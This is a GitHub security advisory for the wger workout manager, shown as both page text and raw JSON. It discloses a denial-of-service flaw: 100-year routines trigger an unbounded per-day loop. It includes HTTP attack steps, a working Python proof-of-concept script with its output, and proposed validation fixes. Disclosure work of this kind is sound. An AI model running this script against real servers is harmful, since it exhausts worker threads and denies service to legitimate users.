GHSA-V25J-WQCW-FVHJ

Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-13 15:33
VLAI?
Summary
wger has an Uncontrolled Resource Consumption issue
Details

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:

# File: wger/manager/models/routine.py, line 151
def clean(self):
    if self.end and self.start and self.start > self.end:
        raise ValidationError('The start time cannot be after the end time.')
    # NO maximum duration check

The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.

The date_sequence property (line 256) uses an unbounded loop:

# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
    # heavy computation per day: slots, entries, configs, logs
    ...

A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

  • GET /api/v2/routine/<id>/date-sequence-display/
  • GET /api/v2/routine/<id>/date-sequence-gym/
  • GET /api/v2/routine/<id>/structure/
  • GET /api/v2/routine/<id>/logs/
  • GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

  • One authenticated user account
  • No special permissions required

Attack Steps

# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json

{
    "name": "DoS routine",
    "start": "2000-01-01",
    "end": "2099-12-31"
}

# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json

{
    "routine": <routine_id>,
    "order": 1,
    "name": "Day A"
}

# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>

Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import time

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """
=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
    print(f"    Registering account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        token = r.json().get("token")
    if not token:
        token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not token:
        print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Token: {token[:16]}...")

headers = api_headers(token)


# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "Normal 30-day routine",
    "start": "2025-01-01",
    "end": "2025-01-31",
})
normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": normal_id, "order": 1, "name": "Day A"
})

print(f"    Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
    f"{API}/routine/{normal_id}/date-sequence-display/",
    headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f"    date-sequence-display: {r.status_code}, "
      f"{baseline_entries} entries, {baseline_time:.2f}s")


# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "DoS routine - 100 years",
    "start": "2000-01-01",
    "end": "2099-12-31",
})

if r.status_code != 201:
    print(f"    [-] Failed to create: {r.status_code} {r.text[:200]}")
    sys.exit(1)

dos_id = r.json()["id"]
print(f"    Routine id={dos_id}")
print(f"    start=2000-01-01, end=2099-12-31")
print(f"    Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": dos_id, "order": 1, "name": "DoS Day"
})


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")

print(f"\n  GET {API}/routine/{dos_id}/date-sequence-display/")
print(f"  This will iterate ~36,525 times in a while loop...")

start_time = time.time()
try:
    r = requests.get(
        f"{API}/routine/{dos_id}/date-sequence-display/",
        headers=headers,
        timeout=120,
    )
    elapsed = time.time() - start_time
    dos_entries = len(r.json()) if r.status_code == 200 else 0

    print(f"\n  Response: HTTP {r.status_code}")
    print(f"  Entries returned: {dos_entries}")
    print(f"  Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  CONNECTION LOST after {elapsed:.2f}s!")


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

print(f"\n  Baseline (30-day routine):")
print(f"    Entries: {baseline_entries}")
print(f"    Time:    {baseline_time:.2f}s")
print(f"\n  Malicious (100-year routine):")
print(f"    Entries: {dos_entries}")
print(f"    Time:    {elapsed:.2f}s")

if elapsed > baseline_time * 5 or dos_entries > 10000:
    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
    print(f"\n  Slowdown factor: {slowdown:.1f}x")
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+
""")
else:
    print("\n  Response was fast - server may have limits or caching.")

Proof of Concept Output

=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================

[1] Authenticating...
    Registering account...
    Token: 2ffbb18316fc4e0f...

[2] Creating baseline routine (30 days)...
    Routine id=5 (30 days)
    date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)...
    Routine id=6
    start=2000-01-01, end=2099-12-31
    Duration: ~36,525 days (NO validation limit!)

=================================================================
  ATTACK: Triggering date_sequence on 100-year routine
=================================================================

  GET http://localhost/api/v2/routine/6/date-sequence-display/
  This will iterate ~36,525 times in a while loop...

  Response: HTTP 200
  Entries returned: 36525
  Time elapsed: 3.06s

=================================================================
  VERIFICATION
=================================================================

  Baseline (30-day routine):
    Entries: 31
    Time:    0.02s

  Malicious (100-year routine):
    Entries: 36525
    Time:    3.06s

  Slowdown factor: 138.4x

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+

Impact

  1. Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
  2. Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
  3. No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
  4. Cache Bypass: The first request for each routine (or after ROUTINE_CACHE_TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
  5. Five Affected Endpoints: date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.

Fix

1. Add maximum duration validation in the model

# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365

def clean(self):
    if self.end and self.start:
        if self.start > self.end:
            raise ValidationError('Start cannot be after end.')
        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
            raise ValidationError(
                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
            )

2. Add the same validation in the serializer

# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
    def validate(self, data):
        start = data.get('start')
        end = data.get('end')
        if start and end and (end - start).days > 365:
            raise serializers.ValidationError(
                'Routine cannot span more than 365 days.'
            )
        return data

3. Add a safety cap in date_sequence (defence-in-depth)

# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
    count += 1
    if count > MAX_SEQUENCE_DAYS:
        break
    ...
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n    if self.end and self.start and self.start \u003e self.end:\n        raise ValidationError(\u0027The start time cannot be after the end time.\u0027)\n    # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date \u003c= self.end:\n    # heavy computation per day: slots, entries, configs, logs\n    ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-display/`\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-gym/`\n- `GET /api/v2/routine/\u003cid\u003e/structure/`\n- `GET /api/v2/routine/\u003cid\u003e/logs/`\n- `GET /api/v2/routine/\u003cid\u003e/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n    \"name\": \"DoS routine\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n    \"routine\": \u003croutine_id\u003e,\n    \"order\": 1,\n    \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/\u003croutine_id\u003e/date-sequence-display/\nAuthorization: Token \u003ctoken\u003e\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n    print(f\"    Registering account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        token = r.json().get(\"token\")\n    if not token:\n        token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not token:\n        print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"Normal 30-day routine\",\n    \"start\": \"2025-01-01\",\n    \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\"    Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n    f\"{API}/routine/{normal_id}/date-sequence-display/\",\n    headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\"    date-sequence-display: {r.status_code}, \"\n      f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"DoS routine - 100 years\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n    print(f\"    [-] Failed to create: {r.status_code} {r.text[:200]}\")\n    sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\"    Routine id={dos_id}\")\nprint(f\"    start=2000-01-01, end=2099-12-31\")\nprint(f\"    Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n  GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\"  This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n    r = requests.get(\n        f\"{API}/routine/{dos_id}/date-sequence-display/\",\n        headers=headers,\n        timeout=120,\n    )\n    elapsed = time.time() - start_time\n    dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n    print(f\"\\n  Response: HTTP {r.status_code}\")\n    print(f\"  Entries returned: {dos_entries}\")\n    print(f\"  Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n  Baseline (30-day routine):\")\nprint(f\"    Entries: {baseline_entries}\")\nprint(f\"    Time:    {baseline_time:.2f}s\")\nprint(f\"\\n  Malicious (100-year routine):\")\nprint(f\"    Entries: {dos_entries}\")\nprint(f\"    Time:    {elapsed:.2f}s\")\n\nif elapsed \u003e baseline_time * 5 or dos_entries \u003e 10000:\n    slowdown = elapsed / baseline_time if baseline_time \u003e 0 else float(\u0027inf\u0027)\n    print(f\"\\n  Slowdown factor: {slowdown:.1f}x\")\n    print(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n    Registering account...\n    Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n    Routine id=5 (30 days)\n    date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n    Routine id=6\n    start=2000-01-01, end=2099-12-31\n    Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n  ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n  GET http://localhost/api/v2/routine/6/date-sequence-display/\n  This will iterate ~36,525 times in a while loop...\n\n  Response: HTTP 200\n  Entries returned: 36525\n  Time elapsed: 3.06s\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  Baseline (30-day routine):\n    Entries: 31\n    Time:    0.02s\n\n  Malicious (100-year routine):\n    Entries: 36525\n    Time:    3.06s\n\n  Slowdown factor: 138.4x\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n    if self.end and self.start:\n        if self.start \u003e self.end:\n            raise ValidationError(\u0027Start cannot be after end.\u0027)\n        if (self.end - self.start).days \u003e self.MAX_ROUTINE_DAYS:\n            raise ValidationError(\n                f\u0027Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.\u0027\n            )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n    def validate(self, data):\n        start = data.get(\u0027start\u0027)\n        end = data.get(\u0027end\u0027)\n        if start and end and (end - start).days \u003e 365:\n            raise serializers.ValidationError(\n                \u0027Routine cannot span more than 365 days.\u0027\n            )\n        return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date \u003c= self.end:\n    count += 1\n    if count \u003e MAX_SEQUENCE_DAYS:\n        break\n    ...\n```",
  "id": "GHSA-v25j-wqcw-fvhj",
  "modified": "2026-05-13T15:33:38Z",
  "published": "2026-05-13T15:33:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger has an Uncontrolled Resource Consumption issue"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…